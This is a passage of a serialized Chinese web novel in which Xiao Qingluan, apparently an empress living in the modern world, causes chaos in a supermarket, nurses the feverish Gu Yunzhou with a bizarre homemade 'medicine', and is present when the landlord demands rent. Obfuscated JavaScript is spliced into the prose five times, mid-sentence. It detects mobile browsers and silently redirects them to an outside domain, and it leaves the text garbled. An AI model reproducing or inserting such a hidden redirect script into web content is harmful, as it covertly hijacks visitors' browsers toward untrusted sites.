就在他天人交战的时候身后的卧室门开了。 萧青鸾揉着眼睛走了出来。 她身上穿着顾云舟的睡衣,头发只是随意地垂在脸颊边。 刚睡醒的她眼神里带着几分迷蒙。 “先生?” 她的声音带着慵懒。 顾云舟叹了口气。 算了。 尴尬就尴尬吧。 “换衣服。”他有气无力地指了指衣柜里他那几件宽大的T恤和运动裤。 “我们出门。” 半小时后。 顾云舟站在一家大型连锁超市的门口。 他第一百零一次对自己身边的生物进行出门前的最后训诫。 “听着。” “第一进去之后紧跟着我一步都不许离开我的视线范围。” 萧青鸾矜持地点了点头。 “第二不许乱碰任何东西除非我让你碰。” 她秀眉微蹙似乎感到不满但还是点了头。 “第三也是最重要的一条。 不管看到什么听到什么都别说话,以及不要自称朕什么的。你能做到吗?” 萧青鸾的眼里里闪过被冒犯的光。 但她看了看顾云舟那张写满了“你敢说个不字我就死给你看”的脸。 最终还是从鼻子里哼了一声。 “知道了。” 很好。 顾云舟感觉自己像是在带小孩,但没办法只能硬着头皮上了。 他推着一辆购物车率先走进了超市。 自动门打开暖风扑面而来。 紧接着是灯火通明的巨大空间和琳琅满目的货架。 萧青鸾跟在他身后踏入超市的那一刻整个人都僵住了。 她那双见惯了大场面的眼睛里露出了真切的震撼。 入目所及是看不到尽头的货架。 上面摆满了各种包装精美的物品。 穿着各色服饰的“臣民”们推着一种铁制的四轮车在其中穿行脸上洋溢着……幸福的笑容? 这是…? ... “发什么呆?跟上。” 顾云舟的声音将她从震惊中拉了回来。 他把购物车的推手塞到她手里。 “你来推。” 起码让她有点事干能少惹点事。 萧青鸾回过神来。 她迅速收敛了外露的情绪恢复了平日里的端庄。 她握住推车的手柄推着购物车缓缓前行。 顾云舟走在前面专挑必需品。 米油盐酱醋。 他刚把一袋十斤装的大米扔进购物车。 身后的萧青鸾就伸出纤纤玉指捻起几粒米放在眼前端详。 片刻后她皱眉点评道。 “此米色泽浑浊颗粒不均仅可充作军粮。” 顾云舟脚下一个踉跄差点没站稳。 大哥这已经是这个超市里性价比最高的米了。 周围几个正在挑米的大妈纷纷投来好奇的目光。 一个小姑娘还掏出手机似乎以为他们在拍什么古风测评短视频。 “闭嘴。”顾云舟从牙缝里挤出两个字。 他拖着她快步离开米面区。 路过零食区。 萧青鸾的目光被一排包装华丽的薯片吸引了。 她停下脚步拿起一包。 “此物绘图尚可颇具匠心。可充入宫中赏赐给嫔妃孩童。” 顾云舟眼前一黑。 他一把夺过薯片扔回货架上。 “这是垃圾食品!小孩子吃了不长个!” 他现在已经放弃跟她解释“花钱”这件事了。 只能用她能理解的逻辑来沟通。 果然。 一听对孩童不好萧青鸾立刻露出了嫌弃的表情再也没看那些薯片一眼。 顾云舟松了口气。 看来这招有效。 然而他高兴得太早了。 两人来到生鲜区。 一股鱼腥味传来。 萧青鸾的目光锁定在水箱里一条活蹦乱跳的鲈鱼身上。 她眼中一亮。 “这条鱼甚是肥美。来人。” 她习惯性地就要下令。 顾云舟吓得魂飞魄散一个箭步冲上去捂住了她的嘴。 “唔唔……” 萧青鸾用力挣扎着。 凤眸里全是“大胆刁民竟敢捂朕的嘴”的怒火。 “我的祖宗!你想干嘛!”顾云舟压低声音在她耳边咆哮。 “那是卖的!要给钱的!不是你家池塘里的!” 他松开手。 萧青鸾喘着气怒视着他。 顾云舟感觉自己的血压已经飙到了一百八。 他指着那条鱼旁边小小的价签。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215504|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“看见没?二十八块五一斤!这叫明码标价!懂吗?就是你想要它就得拿东西换!” “朕富有四海富有四海的东西都是朕的!” “你现在就剩一个金元宝了!你拿什么富有四海?” “我他m……” 顾云舟差点一句粗**出来。 周围看热闹的人越来越多了。 他甚至听见有人在小声议论。 “这俩人演得真像啊。” “这小姑娘长得真好看穿古装都话肯定一绝。” “男的演技也好那抓狂的表情太到位了。” 演你妹啊! 这是真实事件! 顾云舟一把抓住萧青鸾的手腕几乎是拖着她逃离了这个社死现场。 他决定了。 速战速决。 拿完东西赶紧结账走人。 他拉着她一路狂奔。 路过洗护用品区。 萧青鸾的目光落在一排卫生巾上。 她好奇地问:“先生此物又是何用?” 顾云舟面无表情地回答:“这是给不听话的女人用的封口贴。贴上就说不出话了。” 萧青鸾立刻闭上了嘴。 路过日用百货区。 萧青鸾看到一排马桶刷。 她恍然大悟:“原来**那妖物的法器竟在此处售卖。” 顾云舟已经不想说话了。 他只想赶紧回家。 然而命运总是在你最绝望的时候再给你一脚。 就在他们即将到达收银台的时候。 他们路过了甜品区。 空气中弥漫着奶油和糖分的甜香。 玻璃冷藏柜里陈列着各式各样精致的蛋糕。 萧青鸾的脚步猛地停住了。 她的目光死死地锁在了一个装饰着新鲜草莓和洁白奶油的八寸蛋糕上。 那眼神发亮。 顾云舟心里咯噔一下。 不好。 他还没来得及开口。 萧青鸾已经松开了推车径直走到蛋糕柜前。 她隔着玻璃仔细端详了片刻。 然后用一种极为满意的点了点头。 旁边一个穿着工作服的导购员小姐姐热情地迎了上来。 “您好女士。请问需要点什么?这款草莓慕斯是我们今天的新品哦。” 萧青鸾瞥了她一眼。 她伸出玉葱般的手指点了点那个草莓蛋糕。 “此物甚好。” “包起来。” “送到朕的……寝宫。” 导购员小姐姐脸上的职业微笑瞬间凝固了。 她眨了眨眼又眨了眨眼。 似乎在怀疑自己的耳朵是不是出了什么问题。 顾云舟站在原地。 他看着萧青鸾那副理所当然的模样。 又看了看导购员小姐姐那张见了鬼一样的脸。 还有周围那些已经憋不住笑开始掏手机录像的吃瓜群众。 他缓缓地闭上了眼睛。 毁灭吧。 赶紧的。累了。 第一百七十一章 心跳 顾云舟缓缓闭上了眼睛。 世界安静了。 真好。 如果能一直这么安静下去就好了。 然而现实是残酷的。 周围的窃笑声像苍蝇一样嗡嗡作响。 让顾云舟的脚趾在鞋子里尴尬地抠出了一座三室一厅。 他深吸一口气再缓缓吐出。 算了。 跟一个脑回路不正常的人计较是他不对。 他睁开眼一个箭步冲过去。 在萧青鸾准备对发表第二遍之前。 他一把抓住她的手腕把她往后拖。 “走了走了不买了!” “哎,你干嘛!”萧青鸾被他拽得一个趔趄。 “先生!你敢……” “我敢!我今天不仅敢对你动手我还敢带你上天!” 他连拖带拽地把萧青鸾从甜品区拖走。 推着那辆装满了购物车。 冲向收银台。 他现在只想赶紧付钱离开这。 最近的一个收银通道亮着绿灯。 他想都没想就把车推了过去。 收银员是个四十多岁的大姐胸前的名牌上写着“刘姐”。 刘姐显然见多识广。 她只是瞟了一眼两人。 然后就熟练地开始扫码。 “滴。” “滴滴。” 红色的光束扫过商品。 显示屏上的数字飞速跳动。 萧青鸾被这新奇的玩意儿吸引了注意力。 她皱着眉盯着那个不断变化的红色数字。 似乎在研究什么。 “一共一百八十七块五。”刘姐麻利地报出总价。 “小伙子刷卡还是扫码?” 顾云舟正要掏手机。 身边的萧青鸾忽然上前一步。 她站姿笔挺一手负后一手微抬。 刚想说话就被顾云舟捂住了嘴巴,安静,不然你就别跟着我。 一秒。 两秒。 刘姐也回过神来。 她对着顾云舟挤了挤眼。 “小伙子你女朋友啊,别这样,和气生财啊。” “来。一共一百八十七块五。赶紧的后面还排着队呢。” 顾云舟已经不想说话了。 他拿出手机付了钱拉着萧青鸾就走. ...... 外面傍晚的凉风吹在脸上。 顾云舟才感觉自己活了过来。 他靠在超市外的墙上把几个购物袋往地上一扔。 大口大口地喘着粗气。 萧青鸾站在他身边。 脸上还带着不悦。 显然还在为刚才的话而耿耿于怀。 “先生。刚才那个刁民……” “闭嘴!”顾云舟吼了一声。 他实在是没力气再生气了。 他现在只想静静。 他看着身边这个女人。 满脸都写着“我不高兴”。 又气又想笑。 他该怎么跟她解释这个世界的运行规则? 告诉她皇帝早就没了? 告诉她现在是个人就得自己挣钱养活自己? 告诉她她引以为傲的一切在这里一文不值? 他怕他还没说完。 她就先疯了。 或者他先疯了。 就在他绝望之际。 眼角的余光瞥到了旁边的一个小摊。 一个卖冰淇淋的小摊。 五颜六色的冰淇淋球在冷柜里散发着诱人的气息。 一个念头忽然从他疲惫的大脑里冒了出来。 他站直身体。 走到小摊前。 “老板。来个便宜的甜筒。” “好嘞。三块。” 顾云舟付了钱。 拿着那个白色的香草味甜筒回到萧青鸾面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215505|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他把冰淇淋递过去。 “喏。” “消消气。” 萧青鸾狐疑地看着他手里的东西。 一个尖尖的黄色的底座。 上面顶着一坨白色的螺旋状物体。 造型奇特。 还冒着丝丝凉气。 她没有立刻接。 而是用目光打量着。 “尝尝。甜的。”顾云舟把冰淇淋又往前递了递。 萧青鸾犹豫了一下。 终于伸出纤细的手指接过了这个甜筒。 她学着顾云舟的样子。 低头。 小心翼翼地。 用舌尖轻轻舔了一下那雪白的奶油。 一瞬间。 冰凉的触感和香甜的奶味在她的舌尖散开。 那是一种她从未体验过的味道。 不像是宫里那些精致的糕点。 没有复杂的层次和讲究的回味。 就是那么简单直接的甜。 萧青鸾的眼睛猛地亮了起来。 像黑夜里被点燃的星辰。 她愣住了。 紧接着。 她又舔了一大口。 冰凉香甜的奶油在口腔里融化。 顺着喉咙滑下去。 带走了一整天的烦躁和不悦。 她那张一直紧绷着的脸。 不自觉地柔和了下来。 紧抿的嘴角。 在顾云舟的注视下。 一点一点地。 不受控制地。 向上扬起。 最终。 绽放出一个灿烂的笑容。 就是一个孩子尝到了世界上最好吃的糖果时。 那种毫无杂质的傻乎乎的快乐。 顾云舟看着她这副模样。 心脏。 像是被一只手轻轻捏了一下。 漏跳了一拍。 第一百七十二章 生病 那一支小小的冰淇淋带来的只有短暂的和平。 第二天清晨,顾云舟是被一阵天旋地转的感觉给晃醒的。 他猛地睁开眼,天花板在他视野里扭曲成了好几个。 头痛得像是要炸开,喉咙里干得能冒烟,浑身上下都透着一股酸软。 “操……” 他低骂一声,挣扎着想从床上坐起来,却发现身体跟灌了翔一样沉。 完了,芭比Q了。 昨天淋了雨,晚上又吹了风,加上连日来的精神紧绷和营养不良,铁打的人也扛不住。 但他不能倒。 他要是倒了,家里那个活祖宗怎么办? 还有楼下李大妈的两千块赔偿,明天就要到期的房租…… 一桩桩一件件,都是压在他的身上。 顾云舟咬着牙从床上撑了起来。 他晃晃悠悠地站起身,刚走一步,脚下就是一个趔趄,差点没直接跟地板来个亲密接触。 客厅里,萧青鸾正襟危坐,手里还捧着遥控器看着电视, 听到动静,她抬起头。 只一眼,她就皱起了眉头。 眼前的顾云舟,脸色是一种不正常的潮红,嘴唇干裂起皮,眼神涣散,走路的姿势有些怪异。 “先生?”她试探性地喊了一声。 顾云舟像是没听见,扶着墙,一步一挪地往卫生间走。 萧青鸾站了起来,几步走到他面前,拦住了他的去路。 她什么也没说,只是伸出手,用手背轻轻碰了一下他的额头。 下一秒,她像是被火烫到一样,猛地缩回了手。 好烫! “你……”她刚说出一个字。 顾云舟的身体终于撑到了极限。 他眼前的世界彻底陷入一片黑暗,双腿一软,整个人直挺挺地向后倒去。 “先生!” 萧青鸾的惊呼声里带着一丝自己都未曾察觉的颤抖。 在顾云舟倒下的瞬间,她几乎是凭着本能扑了上去。 瘦弱的身体里爆发出了一股惊人的力量,她竟死死地用肩膀抵住了顾云舟下坠的身体,双臂环住他的腰,硬生生没让他摔在地上。 可一个一米八几的男人,分量实在不轻。 她被压得连连后退,最终跌坐在地,顾云舟大半个身子都压在了她的身上。 顾云舟已经彻底失去了意识,眉头紧紧锁在一起,嘴里含糊不清地念叨着什么。 “……钱……” “……不能倒……” 萧青鸾怔怔地看着他痛苦的神情,心有点不舒服。 一股从未有过的恐慌,从心底最深处蔓延开来。 如果他倒下了…… 那她该怎么办? 她的世界,会再一次崩塌吗? 不。 绝不! 恐慌只持续了短短几息,就被一股更为强大的意志强行压了下去。 她的眼神瞬间变得凌厉起来,扶着顾云舟的手臂也收得更紧。 她咬着牙,半拖半抱地,硬是把顾云舟一点点挪到了卧室的床上。 做完这一切,她已经香汗淋漓,气息不稳。 但她顾不上休息,立刻转身冲出卧室,在客厅里找到了顾云舟那个备用机。 开机,解锁。 她翻出通讯录,看着上面一长串陌生的名字,眉头紧锁。 这些人,谁能救他? 她的目光最终落在了通话记录最上面的那个名字上。 张站长。 就是昨天那个在电话里对先生大吼大叫的无礼之徒。 萧青鸾眸中寒光一闪,毫不犹豫地拨了过去。 电话几乎是秒接。 “顾云舟!你小子还知道开机啊!今天不想要工资了是不是?我告诉你,再迟到五分钟,你这个月的全勤奖就……” 电话那头的咆哮声震得人耳朵疼。 萧青鸾把手机拿远了些,等对方喘气的间隙才开的口。 “顾云舟病了。” 张伟的咆哮戛然而止,愣了一下:“病了?什么情况?昨天不还好好的吗?严不严重啊?在哪个医院?” 一连串的问题,只换来萧青鸾极度不耐烦的三个字。 “今日,告假。” 说完, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215506|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不等对方再有任何反应,她直接挂断了电话。 她将手机扔在一边,快步走回床边。 求人不如求己。 她宫中御医的典籍秘方,她也曾翻阅过无数。 寻常的风寒发热,在那些宫廷秘术面前,自然有提到。 退热……驱寒……固本培元…… 有了! 她想到了记载的一道方子,专治军中大将临阵突发的恶疾高热,药效霸道,见效极快。 只是,方子里的几味主药,在这个世界恐怕找不到。 不过没关系。 医者,变通而已。 她目光扫过这间狭小的出租屋,最后定格在了厨房的方向。 她站起身,走向厨房,推开了那扇油腻的门。 她打开冰箱门。 里面微弱的灯光照亮了她的脸。 她的视线在冰箱里仅存的几样东西上缓缓扫过。 一瓶红色的辣椒酱。 几个鸡蛋。 一把有些发蔫的葱。 还有半瓶黑乎乎的酱油。 她的眉头紧紧皱起,似乎在进行着某种复杂的推演。 《皇家秘典》有云:欲驱虎狼之疾,必用猛药。 那方子里的主药,是性至阳至烈,用以攻伐寒毒。 她的目光,落在了那瓶红彤彤的辣椒酱上。 此物色泽赤红,入口辛辣如火,想必药性相近,可堪一用。 方中还需一枚蛋,取其生命精华,用以固本。 她的视线,又移到了那盒鸡蛋上。 此物虽凡品,但聊胜于无。 最后,还需一味“百草还魂液”调和药性。 萧青鸾看着那瓶酱油,陷入了沉思。 此物色泽深沉,气味醇厚,闻起来像是百种草木发酵而成,应当……就是此物了。 她眼神一凛,做出了决定。 她先是拿出了那瓶辣椒酱,然后是鸡蛋,最后是那瓶酱油。 三样东西被她整整齐齐地摆放在了灶台上。 一场来的神秘“治疗”,即将在这间小小的出租屋里,拉开序幕。 第一百七十四章 神药成 灶台“轰”的一声被点燃。 蓝色的火苗疯狂舔舐着锅底。 锅里,红黑相间的液体剧烈翻滚,咕嘟咕嘟地冒着诡异的大泡。 辣椒酱的辛辣,黑色神水(酱油)的焦甜,混合着姜蒜被煮透后的冲劲,在小小的厨房里迅速发酵。 萧青鸾站在锅前,手持一双筷子,神情肃穆。 她对这股味道很满意。 药气越是霸道,才证明药性越是猛烈。 凡品才温和,神药必桀骜! 她皱了皱眉,觉得火候似乎还差了点意思。 于是,她伸出纤细的手指,将燃气灶的旋钮,拧到了最大。 火苗瞬间窜高了半尺。 锅里的液体沸腾得更加欢快了,几乎要溅出锅沿。 气味,也更加浓烈了。 躺在卧室床上的顾云舟,眉心痛苦地拧成了一个疙瘩。 他正在做梦。 梦里,他梦到了送外卖的那天,可追在他身后的不是车水马龙,而是一个长了腿的榴莲。 那榴莲一边追一边裂开血盆大口,喷出混杂着辣椒水的黑色毒雾。 他想跑,却感觉自己跑不动。 毒雾钻进鼻腔,他感觉自己都要上天了。 …… 顾云舟在昏迷中发出一声绝望的呓语,眼角甚至滚落一滴痛苦的泪水。 厨房里,萧青鸾对这一切毫不知情。 她正全神贯注地盯着锅里的变化,觉得是时候加入佐料,调和一下过于霸道的药性了。 她转身拉开调料架,看到了盐和酱油。 嗯,不错。 盐,味咸,入肾,可引药力下行,稳固根基。 酱油,色黑,亦是水行之物,能进一步加强臣药的降火奇效。 她拿起盐罐,手腕潇洒一扬。 哗啦 小半罐盐进了锅。 又拿起酱油瓶,对着锅口,豪迈地绕了三圈。 锅里的液体颜色瞬间变得更加深邃,粘稠度也急剧上升,几乎成了糊状。 “咚咚咚!” 就在这时,大门被人擂得山响。 “开门!谁家啊!嘛玩意儿这么呛人!是不是煤气漏了!” 楼下邻居李秀梅那标志性的大嗓门穿透防盗门。 萧青鸾秀眉一蹙。 炼制神药到了关键时刻,岂容宵小打扰? 她放下筷子,带着不悦,走到门后,拉开一条小缝。 门外,李秀梅正捂着鼻子,一脸惊疑不定。 看到萧青鸾那张脸,她愣了一下,随即指着屋里,嚷嚷道:“哎我说小姑娘,你家这是煮什么呢?整栋楼都快被你熏晕过去了!赶紧关火看看!别出事了!” 萧青鸾瞥了她一眼,声音没有一丝温度。 “我在炼制神药,此乃宫中绝密,闲杂人等,速速退去。” 李秀梅的眼珠子瞬间瞪圆了。 炼制神药? 还宫中绝密? 她上下打量着门缝里这漂亮姑娘,再闻闻那股从屋里飘出来的,让她脑仁直抽抽的怪味。 她悟了。 这姑娘,脑子指定是有点什么毛病。 李秀梅往后退了一步,看萧青鸾的眼神里充满了同情和警惕。 “行,行,你炼,你接着炼。” 她摆了摆手,嘴里小声嘀咕了一句“神经病”,转头就走。 多一事不如少一事,万一被这疯丫头伤到,找谁说理去。 萧青鸾听到了那句嘀咕,但她懒得计较。 她“砰”地一声关上大门,隔绝了外界的纷扰。 回到厨房,她拿起昨天上午卖的其中一包泡面。 撕开包装,她略一思索。 整块放进去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16217896|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,药力恐怕不易散开。 于是,她双手发力,隔着包装袋,将干脆的面饼“咔嚓咔嚓”捏成了碎片。 然后,她将碎面连同那几包花花绿绿的调料包,一股脑地撒进了锅里。 奇迹发生了。 面条碎片入锅,迅速吸收汤汁,那锅原本还在激烈翻滚的黑色糊糊,瞬间变得更加粘稠,几乎凝固。 锅里,黑色的酱汁上,漂浮着红色的辣椒段,白色的蒜瓣,还有星星点点的脱水蔬菜,咕嘟着最后一个泡,然后彻底归于平静。 一股融合了咸、辣、甜、鲜以及工业香精味的终极气味,正式宣告了这锅神药的诞生。 成了! 萧青鸾眼中精光一闪,果断关火。 她从碗柜里取出一只大碗,将锅里那质地感人的黑色粘稠物,小心翼翼地盛了出来。 满满一大碗。 她端着碗,凑到鼻尖闻了闻。 嗯,气味虽然奇特,但其中蕴含的霸道药力,清晰可闻。 有辣椒酱的火热,能驱散先生体内的风寒。 有黑色神水的阴凉,能浇灭他心中的郁火。 有姜蒜的辛辣,能为他提神开窍。 更有泡面的元气,能引药力走遍全身。 逻辑闭环,堪称完美! 萧青鸾的嘴角,勾起一抹欣慰的笑容。 她深信,这一碗凝聚了她全部智慧与关切的神药,定能让顾云舟药到病除,甚至脱胎换骨。 她端着碗,转身,迈着沉稳的步伐,走出了厨房。 客厅里,光线昏暗。 卧室的门虚掩着,顾云舟痛苦的呓语断断续续地传出。 “别……别追我了……呕……” 萧青鸾的眼神瞬间变得无比温柔。 先生,别怕。 你的首席御医,来了。 ... 第一百七十四章 含泪咽下 头疼。 但比头疼更先一步唤醒顾云舟意识的,是一股味道。 一股无法用语言形容的恐怖气味。 那味道霸道无比,蛮横地钻进他每一个鼻腔细胞,顺着气管一路烧到肺里,让他感觉自己进了某个过期调料的炼金工坊。 求生的本能让他奋力挣开了沉重的眼皮。 视线模糊了几秒,才重新聚焦。 昏暗的卧室里,窗帘拉得严严实实。 床边坐着一个人影。 萧青鸾。 她还穿着他的衣服,手里端着一个大海碗,碗里是某种黑色的,还在微微冒着热气的粘稠液体。 那股让他灵魂战栗的味道,源头就是这碗东西。 看到他醒了,萧青鸾的眼睛瞬间亮了起来,脸上此刻竟浮现出一抹……骄傲? 仿佛在说“快夸我”。 “先生,你醒了。” 她的声音带着压抑不住的喜悦,温柔得让顾云舟头皮发麻。 “来,趁热把药喝了。” 药? 顾云舟的目光死死钉在那碗不明物质上。 黑色的糊状物里,隐约可见红色的辣椒段,白色的蒜瓣,还有一些被泡得发胀的,疑似方便面碎屑的东西。 这玩意儿……是药? 这玩意儿喝下去还能有命? 求生本能战胜了高烧带来的虚弱,顾云舟拼命摇头,发出的声音嘶哑又微弱。 “不……” 我不喝。 “别任性,乖哈。”萧青鸾的语气温柔,但动作却不慢,她舀起一勺黑色的汤汁,递到他嘴边,“此乃我遍览古籍,结合你之症状,亲手为你调制的灵药,有驱寒清火,固本培元之奇效。” 顾云舟眼珠子都快瞪出来了。 还遍览古籍?你家的古籍是《家常菜谱之黑暗料理篇》吗! 他用尽全身力气,把头偏向另一边,嘴巴闭得像个蚌壳。 “我……我就是死,从这床上滚下去,也绝不喝这个东西!”他沙哑地**,声音里带着绝望。 萧青鸾见他不配合,柳眉一竖,温柔的伪装瞬间被撕下,女帝的威严重新上线。 “我数到三!” 她低喝一声,声音不大,却带着压迫感。 “我辛苦半日亲手为你熬药,岂容你挑三拣四!” 说着,她将碗放在床头柜上,空出一只手,捏住了顾云舟的下巴。 顾云舟试图挣扎。 可高烧让他浑身软得跟面条似的,那点力气在萧青鸾面前,简直跟小猫挠痒痒没区别。 她轻而易举地就控制住了他。 另一只手端起碗,舀起满满一勺,再次怼到他嘴边。 “张嘴。” “唔唔唔!”顾云舟疯狂摇头。 救命啊! **亲夫了啊! 眼看那勺散发着黑色液体离自己的嘴唇越来越近,顾云舟急得眼泪都快出来了。 他感觉自己不是在生病,而是在渡劫。 “听话。”萧青鸾见他顽抗,声音又软了下来,带着一丝哄劝的意味,“喝了药,病才能好。病好了,你才能去给我赚钱。” 顾云舟差点一口气没上来。 合着你救我就是为了让我给你当牛做马啊! 两人的攻防战陷入了僵局。 一个拼命灌,一个拼命躲。 在拉扯中,顾云舟的视线对上了萧青鸾的眼睛。 那双眸子里,此刻写满了固执。 她的眼眶微微泛红,似乎已经红了很久。 也许是察觉到了他的注视,她捏着他下巴的手,力道不自觉地松了半分。 她的声音也带上了一丝不易察异的颤抖,还有委屈。 “你为什么不信我?” 她低声问,像是在问他,又像是在自言自语。 “我……我只是想让你好起来。” 那一瞬间,顾云舟的心,像是被什么东西轻轻撞了一下。 他愣住了。 眼前这个霸道偏执,差点把他逼疯的女人,此刻看起来,竟有几分像个手足无措的孩子。 一个用尽了自己所有办法,却得不到信任的孩子。 她或许是真的……在担心他。 用一种极其愚蠢,却又认真的方式。 所有的反抗和挣扎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16217897|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在这一刻都泄了气。 顾云舟看着她那副快要哭出来的样子,心里那点求生的意志,最后还是变成了一声叹息。 罢了。 毁灭吧,赶紧的。 他放弃了抵抗,认命般地,缓缓张开了嘴。 萧青鸾的眼睛里闪过一丝错愕,随即被欣喜所取代。 她立刻稳住手,小心翼翼地,将那一勺喂进了他的嘴里。 ... 比屎咸,没屎黏, 顾云舟感觉自己的灵魂都出窍了。 他强忍着呕吐的冲动,喉结艰难地滚动了一下,将那口“药”咽了下去。 “咳……咳咳……” 他被呛得咳嗽了起来,眼泪不受控制地往下流。 “慢些。”萧青鸾见状,赶紧放下碗,有些笨拙地拍着他的背,语气里满是心疼. 顾云舟眼前有点发黑,他摆了摆手,示意自己没事。 反正已经喝了一口,虱子多了不痒,债多了不愁。 早死早超生。 他靠在床头,喘着粗气,对着萧青鸾,虚弱地抬了抬下巴。 那意思是,来吧,继续。 萧青鸾立刻会意,端起碗,一勺一勺,无比耐心地继续喂他。 顾云舟彻底放弃了思考,机械地张嘴,吞咽。 每一口,都是一次对人生的重新理解。 他想,这大概就是孟婆汤的味道吧。 喝完这一碗,下辈子一定投个好胎。 终于,在顾云舟感觉自己即将羽化登仙之际,碗空了。 萧青鸾满意地放下碗,伸手探了探他的额头。 “嗯,似乎没那么烫了。”她欣慰地点点头,“灵药果然有效。” 顾云舟扯了扯嘴角,想笑,却发现自己笑不出来。 有没有效**。 他只知道,自己快不行了。 眼前的世界开始旋转,萧青鸾的脸也变得模糊起来。 在他彻底失去意识的最后一刻,他好像看到萧青鸾俯下身,用衣袖,轻轻擦去了他额头上的冷汗。 然后,一只手,有些冰凉,却很柔软笨拙地握住了他的手。 第一百七十五章 房东催债 汗水浸透了后背,又被夜风吹得冰凉。 顾云舟打了个哆嗦,缓缓醒来。 他猛地睁开眼,浑身酸痛,像是被十几个壮汉轮流踩过一样。但诡异的是, 他……活下来了? 我靠,那碗孟婆汤原来是大补药? 他艰难地转动脖子,视线聚焦,然后就对上了一双布满血丝的眼镜。 萧青鸾就坐在床边的地板上,靠着床沿。 她脸色苍白,眼下是两团浓重的青黑,显然一夜未眠。 在看到他睁眼的瞬间,那双眸子猛地亮了一下。 那是一种……如释重负的欣喜。 顾云舟的心脏没来由地漏跳了一拍。 这女人……守了他一夜? 他张了张嘴,正想开口说话。 就在这诡异的温情气氛即将发酵的瞬间, “砰!砰!砰!” 粗暴的擂门声震得墙上的灰都往下掉。 “顾云舟!开门!别给老子装死!我知道你在里面!” 一个粗犷的大嗓门在门外响起,中气十足。 是房东王德发。 萧青鸾秀眉一蹙,眸中闪过一丝寒气。 “何人在此喧哗,惊扰先生静养?” 顾云舟吓得魂都快飞了,赶紧伸手拉住她的衣角,拼命摇头。 大姐,咱能别开腔就是古装剧台词吗!这是现代社会,不是古代! 他用眼神疯狂示意:别动,我去! 萧青鸾看了看他,又看了看门外,眼中的杀气才勉强收敛,但脸色依旧不会。 顾云舟撑着发软的身体,扶着墙挣扎着站起来。每走一步,腿肚子都在打颤。 他走到门后,深吸一口气,拧开了门锁。 门刚开一道缝,王德发就一脸不耐烦地挤了进来。 他那颗标志性的地中海发型在昏暗的灯光下油光锃亮。 “小子,你可算开门了!”王德发一进屋,就捏着鼻子皱起了眉。 “我靠,你这屋里什么味儿?熬中药呢?不对,比中药还冲!” 顾云舟虚弱地靠在门框上,扯出一个比哭还难看的笑容:“王哥,我……我病了,发高烧。” “我管你发烧还是发骚!”王德发不耐烦地摆摆手,指着屋里。 “小子,我不是来听你卖惨的!今天话给你放这儿,明天!明天中午十二点之前,上个月的房租,还有赔楼下李大妈那两千块钱,一分不少地给我交齐了!” 他顿了顿,眼神变得轻蔑起来,上下打量了一下站在卧室门口的萧青鸾。 “还有,我不管你和你女朋友天天在屋里玩什么角色扮演,搞什么名堂。交不出钱,立马卷铺盖给老子滚蛋!听见没!” 说完,他嫌恶地又看了一眼屋里的狼藉,转身“砰”地一声摔上门走了。 门关上的瞬间,顾云舟紧绷的神经也断了。 他腿一软,感觉身体被抽空。 完了。 芭比Q了。 高烧刚好,工作没了,现在连住的地方也要没了。 明天中午之前,他上哪儿去凑齐那几千块钱?去**吗?人家血站都嫌他不够健康。 无力感将他淹没。他跌跌撞撞地走到沙发边,一头栽了进去,把脸深深埋在廉价的布料里,不想让任何人看见他此刻的表情。 